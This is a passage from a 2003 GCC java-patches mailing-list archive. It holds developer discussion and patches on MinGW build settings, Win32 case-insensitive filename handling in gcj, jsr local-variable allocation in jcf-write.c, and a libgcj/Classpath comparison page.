UEsDBBQAAAAIAEQWai6iS/mHeQAAAJYAAAAJAAAAYnVpbGQuYmF0LY4xD4Iw EEb3/opbGFt3DIOJiS5GQhi7nOWCJW0huYvAv6dax/e+N3xMEmaHQbWX/g7X 2grFxa4+jc7Zl0/nobYx0/qD6ltVikmg7Z635rH3xKJGN4HWEX1q4i7ZmDJk 6QIyLyhvMKBnKN7QRlDK099M+EFFaShnDlBLAwQKAAAAAADaBGouAAAAAAAA AAAAAAAABwAAAG15dGVzdC9QSwMEFAAAAAgAaARqLq3Yu2GyAAAADgEAABIA AABteXRlc3QvTXlUZXN0LmphdmF1j8EOgjAMhu8kvEPlBBdewBgjMTEe8CDc jIcJkyyMjWwFXQzvbnGBmz20Sfvn//72rGpZw6FzyC1uwyAM+uEhRQWVZNZC 7krah8Fn3VtkSGPUooaOCRUXaIRqbndgprHJTwpUhbPIu1QPmPYkQKniLC3K 6/lySogzzSgyNWJkyBdXDz2QyfT3mgF/I1e11625nkIxuSh9JvA42EGUO5gf gZc2La83cKT0Tg/G7qMlDLUvUEsBAhQAFAAAAAgARBZqLqJL+Yd5AAAAlgAA AAkAAAAAAAAAAQAgAAAAAAAAAGJ1aWxkLmJhdFBLAQIUAAoAAAAAANoEai4A AAAAAAAAAAAAAAAHAAAAAAAAAAAAEAAAAKAAAABteXRlc3QvUEsBAhQAFAAA AAgAaARqLq3Yu2GyAAAADgEAABIAAAAAAAAAAQAgAAAAxQAAAG15dGVzdC9N eVRlc3QuamF2YVBLBQYAAAAAAwADAKwAAACnAQAAAAA= ------------1rzMg5fJnsyUBu7KmoPDhJ-- From java-patches-return-6450-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 06:13:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5482 invoked by alias); 12 Mar 2003 06:13:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5474 invoked from network); 12 Mar 2003 06:13:41 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 12 Mar 2003 06:13:41 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2C6Deh18240 for ; Wed, 12 Mar 2003 00:13:40 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Wed, 12 Mar 2003 00:13:49 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <3E6A2ED1.72D58CA@hotmail.com> Message-Id: Subject: Re: Patch: Override auto-guessed max cmd line length in MingW MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Ranjit & Andrew & Everyone, Mohan>> +# This compensates for the fact that ltconfig chooses too high a length Mohan>> +# for the command line. Mohan>> +case $host_os in Mohan>> + mingw*) Mohan>> + lt_cv_sys_max_cmd_len=30000 Mohan>> + ;; Ranjit> Should this not be "build_os" based? Or are they the same for Ranjit> ltconfig? BTW, have you tried with recent MSYS 1.0.9 snapshots I've verified that build = host = (which is i386-pc-mingw32) for the MingW native, as well as BOTH the Linux cross and crossed-native compilers. This has the consequence that for both the cross and crossed-native compilers, we would set the max. command line length too conservatively low. As such, even though my patch would work, I'd like to put it on hold until I can figure out the right thing to do: - fix one or more of the libtool scripts? - fix MSYS so that the test isn't broken? - go ahead and do my patch anyway? I'm confused as to what the most correct / most expedient choice is. What do you think, Ranjit? Fix MSYS? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6451-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 12:21:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11739 invoked by alias); 12 Mar 2003 12:21:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11732 invoked from network); 12 Mar 2003 12:21:35 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.17) by 172.16.49.205 with SMTP; 12 Mar 2003 12:21:35 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 12 Mar 2003 04:21:35 -0800 X-Originating-IP: [148.87.1.170] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling Date: Wed, 12 Mar 2003 17:53:12 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 12 Mar 2003 12:21:35.0271 (UTC) FILETIME=[EC554B70:01C2E891] > >> This proposed patch aims to resolve gcj compilation glitches due > >> to the Win32 case-insensitive filesystem. For my native MingW > > > >BTW, does it fix the following test case? > > > >How/Why? > > Yes, it does. By God it does! Thank you for finding this out and fixing it!! Great work! However, I do have some general comments about this patch for your consideration: I might be wrong, but AFAIK, the proper way to do this is to define it as a host file system macro (http://gcc.gnu.org/onlinedocs/gccint/Filesystem.html) that gets defined for MinGW by "gcc/config/i386/xm-mingw32.h" in the manner you indicate and "jcf.h" (or perhaps GCC's system.h) could then have something like: #ifndef OPEN_EXACT_CASE #define OPEN_EXACT_CASE open #endif (This macro could perhaps be of use to other GCC front-ends and that's why the dropped "JCF_".) AFAICT, Cygwin will also have to define this, but in a different way from MinGW because it has a strict_case on/off runtime setting. (What about MacOS X, where UFS seems to care about case but HFS+ does not? See http://developer.apple.com/macosx/win32porting/) The code looks a bit big to fit in as a macro in a host header, but then, I don't know where else to really put it - "gcc/config/i386/winnt.c" looks strictly for instruction output and nothing else seems to fit... Perhaps this should really go in libiberty and specified as an "extra" object for windows (see "libiberty/config/mh-windows"). There are some minor formatting errors - the front-end is especially strict about such things. For example, "foo(bar)" v/s "foo (bar)", etc. In jcf-win32.c, you should FindClose(hFile) *after* you have determined that hFile is not an INVALID_HANDLE_VALUE. Ranjit. From java-patches-return-6452-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 14:09:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12809 invoked by alias); 12 Mar 2003 14:09:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12802 invoked from network); 12 Mar 2003 14:09:00 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 12 Mar 2003 14:09:00 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2CE8x010467 for ; Wed, 12 Mar 2003 08:08:59 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Wed, 12 Mar 2003 08:09:11 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Hi Ranjit, >I might be wrong, but AFAIK, the proper way to do this is to define >it as a host file system macro.... >Perhaps this should really go in libiberty and specified as an >"extra" object for windows (see "libiberty/config/mh-windows").... I've only been at this for about a month and the enormity of what you're suggesting paralyzes me. (Just like when Andrew first said I should mess around in natRuntime.cc and posix.cc.) What's more: - My code is specific to the open() call. If we did what you are saying, we'd really need a CHECK_EXACT_CASE which was a no-op on non-Win32, because the caller could want to do a subsequent open, or an fopen, or who-knows-what. - I have a hard time imagining the utility of this for anything other than its intended purpose. Since Win32 is case-insensitive, requests to open a file in a case-insensitive manner should be honored in all but fringe cases like this. >AFAICT, Cygwin will also have to define this, but in a different >way from MinGW because it has a strict_case on/off runtime >setting. (What about MacOS X, where UFS seems to care about >case but HFS+ does not? See >http://developer.apple.com/macosx/win32porting/) I was initially tempted to handle the Cygwin piece too, but I figured that they already have a workaround and the extra effort to determine the right way to do it for them would have made me procrastinate on this indefinitely. In the end, I opted to leave a framework in place that makes it trivial for anyone to add themselves to the case insensitive gang (add an entry in jcf.h, add a jcf-.c file, add the file to Make-lang.in). I also figured that the Darwin folks would jump on the bandwagon if this ever got accepted. >In jcf-win32.c, you should FindClose(hFile) *after* you have >determined that hFile is not an INVALID_HANDLE_VALUE. I *KNEW* you would catch this even as I was sending it, even though the call is innocuous and we ignore any return code. (I threw this code around one time too many and didn't want to deal with it anymore.) You're right, Mom. Since I'm sure that this is going to be further, er, "critiqued" based on your foo (bar) and other remarks, I'll wait a bit for more feedback before resubmitting this. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6453-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 14:44:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25165 invoked by alias); 12 Mar 2003 14:44:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25158 invoked from network); 12 Mar 2003 14:44:15 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 12 Mar 2003 14:44:15 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2CEiEi15006 for ; Wed, 12 Mar 2003 08:44:14 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Wed, 12 Mar 2003 08:44:27 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Ranjit>> I might be wrong, but AFAIK, the proper way to do this is to define Ranjit>> it as a host file system macro.... Ranjit>> Perhaps this should really go in libiberty and specified as an Ranjit>> "extra" object for windows (see "libiberty/config/mh-windows").... Mohan> I have a hard time imagining the utility of this for anything other Mohan> than its intended purpose. Since Win32 is case-insensitive, requests Mohan> to open a file in a case-insensitive manner should be honored in all Mohan> but fringe cases like this. One more thing: the current version only checks the case of the filename component, not any containing directories. (This is documented in the code.) If we were to generalize this, we would probably need to check the entire pathname, which would involve multiple filesystem accesses and make the compiler more inefficient. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6454-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 18:27:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15347 invoked by alias); 12 Mar 2003 18:27:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15334 invoked from network); 12 Mar 2003 18:27:01 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Mar 2003 18:27:01 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA18935; Wed, 12 Mar 2003 11:26:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 971134F8610; Wed, 12 Mar 2003 11:20:44 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I own seven-eighths of all the artists in downtown Burbank! Date: 12 Mar 2003 11:20:44 -0700 Message-ID: <87vfyobg5f.fsf@fleche.redhat.com> Lines: 135 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. My nightly update process finally seems to be working. Here's the first comparison it generated. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.63 diff -u -r1.63 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 7 Mar 2003 18:09:41 -0000 1.63 +++ libgcj-classpath-compare.html 12 Mar 2003 18:26:00 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-07. +2003-03-12. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -21,15 +21,9 @@ gnu.java.awt.image.GdkPixbufDecoder No Yes No gnu.java.awt.image.GtkOffScreenDecoder No Yes No gnu.java.awt.peer.gtk.GtkToolkit Yes Yes Diff - gnu.java.nio.ByteBufferImpl Yes Yes Diff gnu.java.nio.CharBufferImpl Yes Yes Diff gnu.java.nio.DatagramChannelImpl Yes Yes Diff - gnu.java.nio.DoubleBufferImpl Yes Yes Diff gnu.java.nio.FileChannelImpl Yes Yes Diff - gnu.java.nio.FileLockImpl Yes No Yes - gnu.java.nio.FloatBufferImpl Yes Yes Diff - gnu.java.nio.IntBufferImpl Yes Yes Diff - gnu.java.nio.LongBufferImpl Yes Yes Diff gnu.java.nio.MappedByteFileBuffer Yes Yes Diff gnu.java.nio.MappedCharFileBuffer No Yes No gnu.java.nio.MappedDoubleFileBuffer No Yes No @@ -41,7 +35,6 @@ gnu.java.nio.SelectorImpl Yes Yes Diff gnu.java.nio.SelectorProviderImpl Yes Yes Diff gnu.java.nio.ServerSocketChannelImpl Yes Yes Diff - gnu.java.nio.ShortBufferImpl Yes Yes Diff gnu.java.nio.SocketChannelImpl Yes Yes Diff gnu.javax.rmi.CORBA.DelegateFactory No Yes No gnu.javax.rmi.CORBA.GetDelegateInstanceException No Yes No @@ -51,19 +44,49 @@ gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No gnu.javax.rmi.PortableServer No Yes No java.awt.Toolkit Yes Yes Diff + java.beans.beancontext.BeanContextServicesSupport Yes No Yes + java.beans.beancontext.BeanContextSupport Yes No Yes + java.io.BufferedOutputStream Yes Yes Diff + java.io.BufferedReader Yes Yes Diff + java.io.BufferedWriter Yes Yes Diff + java.io.ByteArrayOutputStream Yes Yes Diff + java.io.DataInput Yes Yes Diff java.io.DataInputStream Yes Yes Diff + java.io.DataOutput Yes Yes Diff java.io.DataOutputStream Yes Yes No + java.io.Externalizable Yes Yes Diff java.io.File Yes Yes No java.io.FileDescriptor Yes Yes No + java.io.FileFilter Yes Yes Diff java.io.FileInputStream Yes Yes No java.io.FileOutputStream Yes Yes No + java.io.FilePermission Yes Yes Diff + java.io.FileReader Yes Yes Diff + java.io.FileWriter Yes Yes Diff + java.io.FilenameFilter Yes Yes Diff + java.io.FilterInputStream Yes Yes Diff + java.io.FilterOutputStream Yes Yes Diff + java.io.FilterReader Yes Yes Diff + java.io.FilterWriter Yes Yes Diff java.io.InputStreamReader Yes Yes No java.io.LineNumberReader Yes Yes No + java.io.ObjectInput Yes Yes Diff java.io.ObjectInputStream Yes Yes Diff + java.io.ObjectInputValidation Yes Yes Diff + java.io.ObjectOutput Yes Yes Diff + java.io.ObjectStreamField Yes Yes Diff java.io.OutputStreamWriter Yes Yes No + java.io.PipedInputStream Yes Yes Diff + java.io.PipedReader Yes Yes Diff java.io.PrintStream Yes Yes No + java.io.PrintWriter Yes Yes Diff + java.io.PushbackReader Yes Yes Diff java.io.RandomAccessFile Yes Yes No + java.io.Reader Yes Yes Diff + java.io.SerializablePermission Yes Yes Diff + java.io.StringReader Yes Yes Diff java.io.VMObjectStreamClass Yes VM-specific   + java.io.Writer Yes Yes Diff java.lang.Character Yes Yes Diff java.lang.Class Yes VM-specific   java.lang.ClassLoader Yes Yes Diff @@ -100,7 +123,6 @@ java.net.URI Yes Yes Diff java.net.URL Yes Yes Diff java.net.URLConnection Yes Yes No - java.nio.Buffer Yes Yes Diff java.nio.ByteBuffer Yes Yes Diff java.nio.CharBuffer Yes Yes Diff java.nio.DoubleBuffer Yes Yes Diff @@ -109,6 +131,24 @@ java.nio.LongBuffer Yes Yes Diff java.nio.MappedByteBuffer Yes Yes Diff java.nio.ShortBuffer Yes Yes Diff + java.security.AlgorithmParameterGenerator Yes Yes Diff + java.security.AlgorithmParameters Yes Yes Diff + java.security.Identity Yes Yes Diff + java.security.IdentityScope Yes Yes Diff + java.security.KeyFactory Yes Yes Diff + java.security.KeyPairGenerator Yes Yes Diff + java.security.MessageDigest Yes Yes Diff + java.security.Policy Yes Yes Diff + java.security.ProtectionDomain Yes Yes Diff + java.security.Security Yes Yes Diff + java.security.Signature Yes Yes Diff + java.security.SignatureSpi Yes Yes Diff + java.security.SignedObject Yes Yes Diff + java.security.Signer Yes Yes Diff + java.security.interfaces.RSAMultiPrimePrivateCrtKey No Yes No + java.security.spec.PSSParameterSpec No Yes No + java.security.spec.RSAMultiPrimePrivateCrtKeySpec No Yes No + java.security.spec.RSAOtherPrimeInfo No Yes No java.text.CollationElementIterator Yes Yes No java.text.CollationKey Yes Yes No java.text.Collator Yes Yes Diff From java-patches-return-6455-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 19:05:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18882 invoked by alias); 12 Mar 2003 19:05:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18772 invoked from network); 12 Mar 2003 19:05:05 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by 172.16.49.205 with SMTP; 12 Mar 2003 19:05:05 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2CIp7o06011; Wed, 12 Mar 2003 18:51:07 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15983.33179.422015.445078@cuddles.cambridge.redhat.com> Date: Wed, 12 Mar 2003 18:51:07 +0000 (GMT) To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch: Don't free local variables if a jsr has been emitted In the Java VM, a jsr calls a subroutine that is within the dynamic scope of the block from which it is called. Local variables at the site of the call are potentially live in the subroutine. At present, we generate incorrect code because we recycle stack slots when we leave the scope in which the associated variables were declared. This patch is simple and brutal: if a jsr has been emitted in a block, we don't recycle any of that block's stack slots. That is, they remain allocated until the end of the method. This has the disadvantage of wasting some local variable space. However, it is far better than what we do at the moment, which is silently generate incorrect code. A real fix for this problem will properly track variable lifetimes. Andrew. 2003-03-12 Andrew Haley * jcf-write.c (struct jcf_partial): num_jsrs: new field. (maybe_free_localvar): Renamed from localvar_free. Add new arg, really. (generate_bytecode_insns): Set new variable, jsrs. Only free local vars if no jsr insns have been emittted. Call maybe_free_localvar, not localvar_free. Index: jcf-write.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-write.c,v retrieving revision 1.120 diff -u -r1.120 jcf-write.c --- jcf-write.c 29 Jan 2003 01:19:40 -0000 1.120 +++ jcf-write.c 11 Feb 2003 13:44:16 -0000 @@ -279,6 +279,9 @@ /* Information about the current switch statement. */ struct jcf_switch_state *sw_state; + + /* The count of jsr instructions that have been emmitted. */ + long num_jsrs; }; static void generate_bytecode_insns (tree, int, struct jcf_partial *); @@ -293,7 +296,7 @@ static struct jcf_block * get_jcf_label_here (struct jcf_partial *); static void put_linenumber (int, struct jcf_partial *); static void localvar_alloc (tree, struct jcf_partial *); -static void localvar_free (tree, struct jcf_partial *); +static void maybe_free_localvar (tree, struct jcf_partial *, int); static int get_access_flags (tree); static void write_chunks (FILE *, struct chunk *); static int adjust_typed_op (tree, int); @@ -600,7 +603,7 @@ } static void -localvar_free (tree decl, struct jcf_partial *state) +maybe_free_localvar (tree decl, struct jcf_partial *state, int really) { struct jcf_block *end_label = get_jcf_label_here (state); int index = DECL_LOCAL_INDEX (decl); @@ -612,6 +615,8 @@ if (info->decl != decl) abort (); + if (! really) + return; ptr[0] = NULL; if (wide) { @@ -1065,6 +1070,7 @@ OP1 (OPCODE_jsr); /* Value is 1 byte from reloc back to start of instruction. */ emit_reloc (RELOCATION_VALUE_1, OPCODE_jsr_w, target, state); + state->num_jsrs++; } /* Generate code to evaluate EXP. If the result is true, @@ -1346,7 +1352,7 @@ emit_store (state->return_value_decl, state); call_cleanups (NULL, state); emit_load (state->return_value_decl, state); - /* If we call localvar_free (state->return_value_decl, state), + /* If we call maybe_free_localvar (state->return_value_decl, state, 1), then we risk the save decl erroneously re-used in the finalizer. Instead, we keep the state->return_value_decl allocated through the rest of the method. This is not @@ -1383,6 +1389,7 @@ { tree local; tree body = BLOCK_EXPR_BODY (exp); + long jsrs = state->num_jsrs; for (local = BLOCK_EXPR_DECLS (exp); local; ) { tree next = TREE_CHAIN (local); @@ -1396,10 +1403,11 @@ body = TREE_OPERAND (body, 1); } generate_bytecode_insns (body, target, state); + for (local = BLOCK_EXPR_DECLS (exp); local; ) { tree next = TREE_CHAIN (local); - localvar_free (local, state); + maybe_free_localvar (local, state, state->num_jsrs <= jsrs); local = next; } } @@ -2353,8 +2361,8 @@ if (CAN_COMPLETE_NORMALLY (finally)) { maybe_wide (OPCODE_ret, DECL_LOCAL_INDEX (return_link), state); - localvar_free (exception_decl, state); - localvar_free (return_link, state); + maybe_free_localvar (exception_decl, state, 1); + maybe_free_localvar (return_link, state, 1); define_jcf_label (finished_label, state); } } @@ -2951,6 +2965,7 @@ get_jcf_label_here (state); /* Force a first block. */ for (t = DECL_ARGUMENTS (part); t != NULL_TREE; t = TREE_CHAIN (t)) localvar_alloc (t, state); + state->num_jsrs = 0; generate_bytecode_insns (body, IGNORE_TARGET, state); if (CAN_COMPLETE_NORMALLY (body)) { @@ -2960,9 +2975,9 @@ OP1 (OPCODE_return); } for (t = DECL_ARGUMENTS (part); t != NULL_TREE; t = TREE_CHAIN (t)) - localvar_free (t, state); + maybe_free_localvar (t, state, 1); if (state->return_value_decl != NULL_TREE) - localvar_free (state->return_value_decl, state); + maybe_free_localvar (state->return_value_decl, state, 1); finish_jcf_block (state); perform_relocations (state); From java-patches-return-6456-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 01:59:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3011 invoked by alias); 13 Mar 2003 01:59:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2991 invoked from network); 13 Mar 2003 01:59:53 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 01:59:53 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA11884; Wed, 12 Mar 2003 18:59:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A0E6D4F8610; Wed, 12 Mar 2003 18:53:41 -0700 (MST) To: Andrew Haley Cc: "Boehm, Hans" , "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch References: <75A9FEBA25015040A761C1F74975667D01441F45@hplex4.hpl.hp.com> <15980.62487.744132.625329@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this my STOP?? Date: 12 Mar 2003 18:53:41 -0700 In-Reply-To: <15980.62487.744132.625329@cuddles.cambridge.redhat.com> Message-ID: <873clsxc9m.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: >> I checked in the patch a while ago (Mar. 4). If you're still >> seeing problems, that's news to me. Please post details. Is this >> still a deadlock? For a dynamically linked executable? Can you >> send gdb stack traces? Andrew> It could be that the test just runs for a log time rather than Andrew> actually failing. I'll investigate further. In my testing it seems to pass or fail depending on system load. For instance, SyncTest passes in my nightly builds. It fails more easily on tests I run during the day. Tom From java-patches-return-6457-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 02:24:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11866 invoked by alias); 13 Mar 2003 02:24:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11782 invoked from network); 13 Mar 2003 02:24:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 02:24:20 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA16909; Wed, 12 Mar 2003 19:24:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C786A4F8610; Wed, 12 Mar 2003 19:18:07 -0700 (MST) To: gnustuff@thisiscool.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling References: <2XA0A9U22Y2Y65CBTQVPKH76HMHE.3e6eb0e5@p733> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! Am I cleansed yet?! Date: 12 Mar 2003 19:18:07 -0700 In-Reply-To: <2XA0A9U22Y2Y65CBTQVPKH76HMHE.3e6eb0e5@p733> Message-ID: <87wuj4vwkg.fsf@fleche.redhat.com> Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Mohan> This proposed patch aims to resolve gcj compilation glitches Mohan> due to the Win32 case-insensitive filesystem. Mohan> However, public Java classes must exist in same-named, Mohan> same-case source files and therefore (cringe), I believe that Mohan> it's the compiler's job (and not the runtime's job) to enforce Mohan> case-strictness for these specific instances on Mohan> case-insensitive filesystems. Since there is no portable way Mohan> of doing this, it stands to reason that platform-specific code Mohan> must trickle into the front end. Thanks a lot for looking into this. As I'm sure you know, this is a longstanding bug and is important to fix for Windows builds. I have a few comments about this. My recollection, from my brief and long since past Windows experience, is that it isn't always easy to control the case of the files you create on a Windows box. That is, sometimes a tool will not do exactly what you might like. If that's the case (and the more Windows knowledgeable should definitely speak to this) then it seems this approach will make things harder for gcj users. So that's one (potential) reason to be careful before committing to this. Another question which we have to ask is what the JDK does. Can you find out? I mean in a clean-room way. For instance, does the JDK require strict case conformance on Windows? Could you explain the mechanism of the bug a bit more? I don't understand it, and I'd like to. gcj must make one or more incorrect decisions that lead it astray. Where are these points? (I've seen a lot of information about the symptoms of the bug, which is helpful, but I want to know the cause.) There are a lot of changes that would need to be made to this code (for GNU standards conformance) before it can go in. That can come later. Tom From java-patches-return-6458-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 13 02:29:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4844 invoked by alias); 13 Mar 2003 02:29:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4784 invoked from network); 13 Mar 2003 02:29:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 13 Mar 2003 02:29:21 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA17953; Wed, 12 Mar 2003 19:29:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 48EC04F8610; Wed, 12 Mar 2003 19:23:03 -0700 (MST) To: gnustuff@thisiscool.com Cc: GCJ Patches Subject: Re: Patch: Reorder a source file in Makefile.am (libjava) References: <5Y9642OMJDW9FBL4YGD97ZT72LK43.3e6987e4@p733> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Did I SELL OUT yet?? Date: 12 Mar 2003 19:23:02 -0700 In-Reply-To: <5Y9642OMJDW9FBL4YGD97ZT72LK43.3e6987e4@p733> Message-ID: <87smtsvwc9.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Mohan> This patch is another piece needed for a self-hosted Mohan> build of 